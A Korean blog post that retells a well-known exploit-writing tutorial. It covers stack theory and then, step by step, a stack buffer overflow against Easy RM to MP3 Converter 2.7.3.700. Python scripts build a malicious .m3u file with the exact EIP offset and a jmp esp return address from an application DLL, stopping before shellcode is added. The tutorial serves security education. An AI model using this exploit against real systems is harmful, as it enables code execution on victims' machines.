Study/Windows2012.08.21 22:54

Exploit writing tutorial part 1 : Stack Based Overflows


https://www.corelan.be/  의 내용을 공부하면서 정리한 글입니다.

영어를 잘 못해서 공부하는 겸 시작한거라 오역이 많을겁니다.

태클보단 조언을 부탁합니다 ㅎㅎ

우선 해당 글에서는 http://www.exploit-db.com/exploits/9186/  취약점을 기준으로 

스택 오버플로우를 설명합니다. 

사용된 프로그램은 Easy RM to MP3 Converter 2.7.3.700 버전입니다.

위 링크에서 다운로드 받고 진행했습니다.

동일한 버전을 설치한 화면입니다.


Before we proceed – some theory

진행 하기 전에 약간의 이론을 살펴 보겠습니다.

윈도우 응용 프로그램은 메모리의 일부를 사용합니다.

프로세스의 메모리에는 크게 3가지 구성 요소가 존재합니다.

1. 코드 세그먼트
CPU 가 실행하는 코드. EIP는 다음 인스트럭션을 가리 킵니다.

2. 데이터 세그먼트
변수들, 동적 버퍼들

3. 스택 세그먼트
함수의 데이터와 인자에 사용되고 지역변수공간에 사용됩니다. 스택은 가상 메모리의 끝에서(높은 주소)에서 부터 아래 방향(낮은 주소)으로 자라게 됩니다. PUSH 명령은 스택에 꼭대기에 무언가를 집어 넣고 POP 명령은 스택에서 4바이트 데이터를 제거하며 그 값을 레지스터에 집어 넣습니다.

만약 스택에 직접 접근하려면 스택의 꼭대기(낮은주소)에 있는 ESP(스택포인터)를 사용할수 있습니다.

1. PUSH가 일어난 이후, ESP는 낮은 메모리 주소(주소는 스택에 푸시된 데이터의 크기 만큼 줄어듭니다. 주소값이나 포인터의 경우 4바이트가 줄어듭니다.)를 가르킵니다.

2. POP이 일어난 이후, ESP는 높은 메모리 주소를 가르킵니다.(주소가 증가됩니다.(주소값이나 포인터의 경우 4바이트)) 스택에서 아이템이 제거된 이후에 주소가 증가 됩니다.

함수나 서브루틴에 진입했을때 스택 프레임이 형성됩니다. 

이 프레임은 해당 함수를 호출한 부모 함수/프로시저의 파라미터와 인자로 전달된 값을 유지 

시킵니다. 스택의 현재위치는 스택포인터로 접근할수 있고, 현재 함수의 기준은 베이스 포인터

에 포함됩니다.(또는 프레임포인터)


CPU의 범용 레지스터(Intel, X86)은 다음과  같습니다.

EAX : 가산기 : 계산을 위해 사용되고, 함수의 리턴값을 저장합니다. add, sub, cmp 와 같은 기본적인 연산들은 이 레지스터를 사용합니다.

EBX : 자료 저장을 위해 사용됩니다.

ECX : 카운터 : 반복에 사용됩니다. ECX 카운터는 감소 합니다.

EDX : 데이터 : EAX레지스터의 확장입니다. 곱셈과 나눗셈 같은 좀 더 복잡한 연산에 사용되고 추가적인 자료를 저장합니다.

ESP : 스택 포인터

EBP : 베이스 포인터

ESI : 소스 인덱스 : 입력 데이터의 소스 위치

EDI : 데스티네이션 인덱스 : 연산 결과가 저장된 위치를 가르킵니다.

EIP : 인스트럭션  포인터

Process Memory

어플리케이션이 Win32 환경에서 실행되면 프로세스가 생성되고 가상메모리가 할당됩니다.

32비트 환경에서 메모리 주소 범위는 0x00000000 ~ 0xFFFFFFFF 이며 

0x00000000 ~0x7FFFFFFF 범위는 유저영역으로 할당되고, 0x80000000 ~ 0xFFFFFFFF 범위는

커널 영역으로 할당됩니다.

윈도우는 Flat memory model 을 사용하므로  CPU가 메모리를 세그먼테이션/페이징 없이 

직접적/순차적/선형적으로 접근 할수 있습니다. 

커널영역메모리는 오로지 OS만 접근 가능합니다.

프로세스가 생성되면 PEB(Process Execution Block)와 TEB(Thread Environment Block)이 

생성됩니다.


PEB는 현재 프로세스와 관련된 모든 유저영역 파라미터들을 포함합니다.

1. 메인 시작 위치
2. 로더에 포인터(모든 dll의 리스트/ 프로세서에 로드된/로드될수있는 모듈)
3. 힙에 관한 정보의 포인터


TEB는 스레드의 상태를 나타냅니다.

1. PEB 메모리 상에 위치합니다.


각각의 스레드 안에는 하나의 TEB만 존재합니다.


Win32 프로세스 메모리 맵은 아래와 같습니다.


텍스트 세그먼트의 프로그램 이미지/dll은 읽기만 가능하고 오로지 어플리케이션 코드만 포함 합

니다. 이 특징은 어플리케이션 코드의 변조를 막기 위함 입니다. 이 메모리 세그먼트는 고정된 사

이즈를 가집니다.


데이터 세그먼트는 전역/정적 변수를 저장하는데 사용됩니다. 데이터 세그먼트는 초기화된 전역

변수, 문자열, 상수를 위해 사용됩니다. 또 데이터 세그먼트는 쓰기가 가능하고 고정된 사이즈를

 가집니다. 


힙 세그먼트는 프로그램 변수에 사용됩니다. 힙은 원하는대로 크기를 조절할수 있습니다. 

힙에 존재하는 모든 메모리는 할당(해제)알고리즘에 의해 관리 됩니다. 

이 메모리 영역은 위 알고리즘에 의해 확보 됩니다. 

또 힙은 높은 메모리 주소로 자랍니다.


dll에서 임포트/익스포트는 텍스트 세그먼트의 일부입니다.


The Stack

스택은 프로세스 메모리의 조각이고 LIFO로 동작하는 데이터 구조 입니다.

스택은 각각의 스레드를 위해 운영체제에 의해 할당 됩니다.(스레드가 생성될 때)

스레드가 끝나면 스택도 지워집니다.

스택의 크기는 스택이 생성될때 정의되며 변하지 않습니다.

스택이 생성되면 스택 포인터는 스택의 꼭대기를 가르킵니다.

스택에 데이터가 푸시되면 스택포인터는 감소됩니다.

그래서 스택은 낮은 메모리 주소로 자라게 됩니다.

매번 함수가 호출 될때마다 레지스터에 저장된 값을(파라미터) 스택에 푸시하고

함수가 리턴할때 스택에 저장된 EIP 값을 EIP 레지스터에 저장하므로 응용 프로그램이 정상적인

흐름을 유지 할수 있습니다.


간단한 예제를 살펴 봅시다.


#include <string.h> 

void do_something(char *Buffer)
{
     char MyVar[128];
     strcpy(MyVar,Buffer);
}

int main (int argc, char **argv)
{
     do_something(argv[1]);
}

이 프로그램은 인자로 받은 문자열을 최대 128바이트의 크기를 가진 지역 변수에 복사하는 

프로그램 입니다.  만약 인자가 127바이트(개행문자 제외) 보다 크다면 버퍼는 아마 넘치게 될겁니다.


메인 함수에서 do_something 함수를 호출했을때 스택의 꼭대기에 새로운 스택 프레임이 

생성되고 ESP는 새로 생성된 스택의 가장 높은 주소를 가르키게 됩니다.



do_someting 함수가 호출되기 전에 인자들이 스택에 푸시됩니다. 위 예의 경우 argv[1] 입니다.



MOV 명령 이후의 스택입니다.


다음으로 do_somthing 함수가 호출됩니다. CALL 명령은 현재 명령의 다음주소를 스택에 집어 넣습니다.


지금까지 명령이 실행된 스택의 모습입니다.


디버거로 한번 스택을 살펴 보겠습니다.

ESP는 0x0022FF5C의 주소를 가르키고 있습니다. 해당 주소에 있는 값은 함수가 끝나고 본래의 

코드로 돌아가기 위해 있는 리턴 주소 입니다.

다음으로 함수 프롤로그가 발생됩니다. 

EBP의 값을 스택에 푸시 합니다. 이 값은 함수가 리턴될때 복원 됩니다.

또 ESP는 4바이트 감소하게 됩니다.



PUSH EBP 명령이 끝나면 현재 스택포인터(ESP) 값을 EBP 레지스터에 집어 넣습니다.

그러면 ESP와 EBP가 스택의 꼭대기를 가르크게 됩니다.

그 후로 ESP(항상 스택의 꼭대기)와 EBP(현재 스택의 기준)를 통해 스택을 참조 할수 있습니다.

이제 do_something에서 사용하는 지역번수를 할당 하게 됩니다.

이때 SUB ESP, 0x98 명령을 사용합니다.



함수의 디스어셈블리 코드를 살펴 보겠습니다.

00401290  /$ 55                     PUSH EBP

00401291  |. 89E5                  MOV EBP,ESP

00401293  |. 81EC 98000000  SUB ESP,98

00401299  |. 8B45 08             MOV EAX,DWORD PTR SS:[EBP+8]             ; |

0040129C  |. 894424 04         MOV DWORD PTR SS:[ESP+4],EAX             ; |

004012A0  |. 8D85 78FFFFFF   LEA EAX,DWORD PTR SS:[EBP-88]            ; |

004012A6  |. 890424              MOV DWORD PTR SS:[ESP],EAX               ; |

004012A9  |. E8 72050000      CALL                 ; \strcpy

004012AE  |. C9                     LEAVE

004012AF  \. C3                    RETN


위 어셈코드는 do_something 함수의 기능을 나타 냅니다. MyVar 변수를 할당 합니다.

다음으로 strcpy 함수를 호출하기 위한 준비를 합니다. 

입력받은 인자를 EAX에 저장하고, ESP+4에 그값을 복사합니다.

그리고 버퍼의 주소를 EAX에 저장하고 

저장한 주소를 esp가 가르키는 곳에 저장합니다.

그뒤 strcpy 함수를 콜 합니다.


그렇다면 0x98 보다 큰 값이 버퍼에 복사되면 어떻게 될까요?


이렇게 스택영역이 AAAA로 덮혀 버리게 됩니다.

그러면 결과적으로 Saved EIP가 바뀌어 버리게 되므로 함수가 종료될때

AAAA(0x41414141)로 EIP가 바뀌게 됩니다.

즉 EIP 프로그램의 실행 흐름을 컨트롤 할수 있게 됩니다!


Determining the buffer size to write exactly into EIP

우선 아래와 같은 파이썬 코드를 살펴 보겠습니다.


단순하게 파일을 생성하는 코드 입니다. 0x41로 25000개, 0x42로 5000개를 채우고 저장합니다.

그 뒤 해당 어플리케이션으로 이 파일을 실행해 보면 크래시가 일어납니다.

EIP가 위 스택에서 예제처럼 덮어 씌워졌고, 해당값은 42424242 인것을 확인 할 수 있습니다.

해당 파이썬 코드를 통해 우리는 EIP가 25000~30000 사이에 존재하는 것을 알 수 있습니다.

이 때의 버퍼를 살펴보면 아래와 같을 것입니다.

Buffer :
                       [       5000 B's                   ]
[AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB......]
     25000 A's                        EIP  ESP points here


EIP는 42424242(BBBB)를 포함하고 이에 따라 우리는 EIP가 25000 ~ 30000 사이에 있는걸 알게 됩니다. 또한 메모리에 남은 B 들이 ESP에 존재하는것이 확인 됩니다. (EIP는 버퍼 30000개가 끝나기 전에 덮어 씨워 졌습니다.)

ESP를 살펴 보죠. 제 PC에서는 ESP가 000FFD38을 가르키고 있고 인근은 모두 B로 덮혔습니다.

이제 우리가 할 일은 EIP가 정확하게 덮히는 부분을 찾는 겁니다.

정확한 위치를  찾을때 여기서는 메타스플로잇을 사용합니다.

C:\Program Files\Rapid7\framework\msf3\tools>irb pattern_create.rb 5000 > a.txt

위 처럼 패턴을 생성해서 찾도록 하겠습니다. 생성된 패턴으로 5000 부분을 대체합니다.

f = open("test.m3u","wb") junk = "\x41" * 25000 junk += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk" f.write(junk) f.close() print "m3u FIle Created!!"


이제 위 코드로 생성된 파일로 실행해 보았습니다.


EIP가 0x42376B42 로 나타나는군요. 오프셋을 한번 찾아 보겠습니다.

cdpython@ubuntu:~/metasploit/tools$ ruby pattern_offset.rb 0x42376b42 5000 1101

오프셋이 1101 이군요.

파이썬 코드를 수정해 보겠습니다.

f = open("test.m3u","wb") junk = "\x41" * 26101 eip = "BBBB" espdata = "C"*1000 f.write(junk+eip+espdata) f.close() print "m3u FIle Created!!"


이제 디버거로 다시 확인해보죠.


EIP가 정확하게 BBBB로 바뀌었고 ESP 에는 C가 들어 간게 확인됩니다.

이때 스택의 모양을 살펴보면 아래와 같습니다.

BufferEBPEIPESP points here

|

V

A (x 26101)AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCC
414141414141…414141414142424242 
26101 bytes4 bytes4 bytes1000 bytes ?


Find memory space to host the shellcode

이제 우리는 EIP를 컨트롤 할수 있고, EIP가 우리의 코드를 포함한 곳을 가리키게 할수 있습니다.

그러나 공간이 어디인지, 어떻게 쉘코드를 위치하게 할수 있는지, 어떻게 EIP를 그쪽으로 점프하

게 할수 있을까요?


어플리케이션 크래시에서 우리는 26101 만큼 A를 메모리에 썻고, 저장된 EIP(리턴)에 새로운 값을 덮었습니다. 그리고 C를 잔뜩 넣었습니다.

크래시가 발생할때 레지스터들과 그 덤프를 봅시다. 버퍼를 보면(A 또는 C) 아마도 이곳을 쉘코드로 바꿔치기 하고 그곳으로 점프 하게 할수 있을 겁니다.

C 를 볼수 있음에도 우리는 버퍼에 들어간 C(ESP가 가르키는)가 실제로 우리가 넣은 첫번째 C 인지 확인 할수 없습니다.

그래서 소스코드를 약간 변경합니다.

f = open("test.m3u","wb") junk = "\x41" * 26101 eip = "BBBB" shellcode = ( "1ABCDEFGHIJK2ABCDEFGHIJK" "3ABCDEFGHIJK4ABCDEFGHIJK" "5ABCDEFGHIJK6ABCDEFGHIJK" "7ABCDEFGHIJK8ABCDEFGHIJK" "9ABCDEFGHIJKAABCDEFGHIJK" "BABCDEFGHIJKCABCDEFGHIJK" ) f.write(junk+eip+shellcode) f.close() print "m3u FIle Created!!"

생성된 파일을 열고 ESP를 살펴 보겠습니다.


여기서 우리는 재미있는 것을 발견할수 있습니다.

-ESP의 시작은 우리의 패턴에서 5번째 문자부터 시작하고 첫번째 문자가 아닌 것. 

-패턴 문자열 이후에 A가 보인다는것. 이 A들은 버퍼의 첫번째 파트처럼 보이고, 우리는 RET이 덮히기 전에 이곳에 쉘코드를 넣을수 있지 않을까? 하는 점.


그러나 우선 패턴의 앞부분에 4바이트를 추가하고 다시 한번 테스트를 해보겠습니다.

만약 잘 됬다면 ESP는 우리 패턴의 시작 부분을 가르킬 겁니다.

f = open("test.m3u","wb") junk = "\x41" * 26101 eip = "BBBB" preshellcode = "XXXX" shellcode = ( "1ABCDEFGHIJK2ABCDEFGHIJK" "3ABCDEFGHIJK4ABCDEFGHIJK" "5ABCDEFGHIJK6ABCDEFGHIJK" "7ABCDEFGHIJK8ABCDEFGHIJK" "9ABCDEFGHIJKAABCDEFGHIJK" "BABCDEFGHIJKCABCDEFGHIJK" ) f.write(junk+eip+preshellcode+shellcode) f.close() print "m3u FIle Created!!"

다시 한번 ESP를 살펴 보겠습니다.



훨씬 낫군요!

우리는 이제

-EIP 컨트롤이 가능합니다.

-우리의 코드를 쓸수있는 영역을 찾았습니다.

- 0x00ffD38 에서 레지스터가 바로 우리 코드를 가르킵니다.


이제 필요한 것은

-진자 쉘코드를 만드는것

-EIP에게 쉘코드의 시작주소로 점프하게 알려주는것. 우리는 EIP를 0x00ffd38로 덮어 씌우면 이것을 할수 있습니다.


작은 테스트를 한번 해봅시다.

첫번째로 A가 덮힌 이후에 EIP를 000ffd38로 놓고, 25개의 NOP를 넣고, 브레이크를 넣고, 추가 적인 NOP를 넣어 봅시다.


from struct import pack f = open("test.m3u","wb") junk = "\x41" * 26101 eip = pack("<L",0x00ffd38) shellcode = "\x90" * 25 shellcode += "\xcc" shellcode += "\x90" * 25 f.write(junk+eip+shellcode) f.close() print "m3u FIle Created!!"


이제 살펴 봅시다.

어플리케이션이 죽고, 우리가 기대했던 브레이크 대신 액세스 바이올레이션이 발생합니다.

이때 EIP를 살펴보면, EIP는 00ffd38을 가르키고 이곳은 ESP 입니다.

ESP를 살펴보면 우리가 기대했던 것들을 볼수 없습니다.


Jump to the shellcode in a reliable way

우리는 정확하게 ESP가 가르키는곳에 쉘코드를 넣었습니다. 

이게 아니었으면 우리는 다른 레지스터 들을 살펴보면서 버퍼를 찾으려고 했을 겁니다. 

어쨋든 이 예에서 우리는 ESP를 사용합니다. 


ESP의 주소로 EIP를 덮는 이유는 어플레이케이션이 ESP로 점프하는것과 쉘코드를 실행 시키기 위해서 입니다. 윈도우 어플리케이션에서 ESP로 점프하는것은 일반 적입니다.

사실 윈도 어플리케이션은 하나 또는 이상의 DLL들과 그 DLL들이 포함하는 많은 인스트럭션 코드들을 포함합니다. 

게다가 이 DLL들에 의해 사용되는 주소들은 꽤 고정 적입니다.

그래서 만약 ESP로 점프하는 인스트럭션을 포함한 dll을 찾는다면, 그리고 만약 EIP를 그 dll의 인스트럭션 주소로 덮으면 잘 되겠죠?

우선 "jmp esp"에 대한 옵코드가 무엇인지 알아야 합니다.

그리고 해당 프로그램을 디버거에 붙히면 로드된 dll과 모듈들을 볼수 있습니다.


디버거에서 jmp esp를 입력하고 어셈블을 수정하면 

위 처럼 옵코드를 확인 할수 있습니다. "FFE4 JMP ESP"

이제 우리는 로딩된 dll들 중에 해당 옵코드를 찾아야 합니다.

로딩된 dll들은 아래와 같습니다.


이 dll들 중에서 옵코드를 찾을수 있다면 우리는 윈도우즈 플랫폼에서 유연하게 동작하는 익스플로잇을 만들 좋은 기회를 얻게 됩니다.

OS에서 제공되는 dll을 사용할 경우 익스플로잇이 다른 버전의 OS에서는 동작하지 않을수 있습니다. 그래서 해당 어플리케이션의 DLL 중에서 찾아 봅시다.

그중 MSRMCcodec02.dll 을 찾아봅시다. 이 dll은 01C31000 ~ 01E0EFFE 주소에 로드 됩니다.

FF E4(jmp esp)를 찾아 봅시다.


찾았다!

주소를 고를때 null 바이트를 살펴 보는것은 중요합니다. 

가능한 널 바이트가 포함된 주소를 사용하는 것을 피해야 합니다. 

다른 방법은 윈도우에서 제공하는 dll 중에서 ff e4를 찾는 방법 입니다.

괜찮은 방법 중 하나는 findjmp라는 툴을 사용하는 것입니다. 

주소를 찾았으니 코드를 수정해 봅시다.


from struct import pack f = open("test.m3u","wb") junk = "\x41" * 26101 eip = pack("<L",0x01DDF23A) shellcode = "\x90" * 25 shellcode += "\xcc" shellcode += "\x90" * 25 f.write(junk+eip+shellcode) f.close() print "m3u FIle Created!!" 

그리고 디버거에 붙혀 봅시다.


EIP가 ESP에 있던 nop를 지나 CC에서 멈춘 것이 확인됩니다.

이제 진짜 쉘코드를 넣고 실행 해봅시다.


Get shellcode and finalize the exploit


메타스플로잇을 이용해서 쉘코드를 생성 합니다. 

저는 계산기를 띄우는 쉘코드를 생성 하겠습니다.

